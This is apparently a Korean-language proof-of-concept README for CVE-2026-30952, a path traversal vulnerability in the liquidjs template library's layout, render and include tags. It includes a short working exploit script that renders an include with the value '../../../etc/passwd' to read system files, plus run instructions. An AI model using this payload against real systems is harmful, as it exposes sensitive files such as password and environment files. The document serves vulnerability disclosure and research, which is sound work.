
# CVE-2026-30952 PoC: liquidjs의 layout, render 및 include 태그에서 절대 경로를 통한 경로 탐색 취약점
이 저장소는 liquidjs 라이브러리(10.25.0 미만 버전)에서 발견된 높은 심각도의 경로 탐색 취약점인 CVE-2026-30952에 대한 개념 증명(PoC)을 포함합니다.
작성자 및 연구자:
Moriel Harush Maor Caplan
이 취약점은 layout, render, include 태그가 절대 경로와 함께 사용될 때 임의 파일 접근을 허용합니다. 이는 root 디렉터리가 지정된 경우에도 발생하는데, 라이브러리의 폴백 메커니즘이 확인된 경로가 의도된 루트 내에 유지되는지 제대로 검증하지 못하기 때문입니다.
영향: 공격자가 템플릿 콘텐츠 또는 이러한 태그에 전달되는 변수를 제어할 수 있는 경우 민감한 파일(예: /etc/passwd, 환경 파일)을 읽을 수 있습니다.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));
liquidjs (npm install [email protected])npm install을 실행합니다.node exploit.js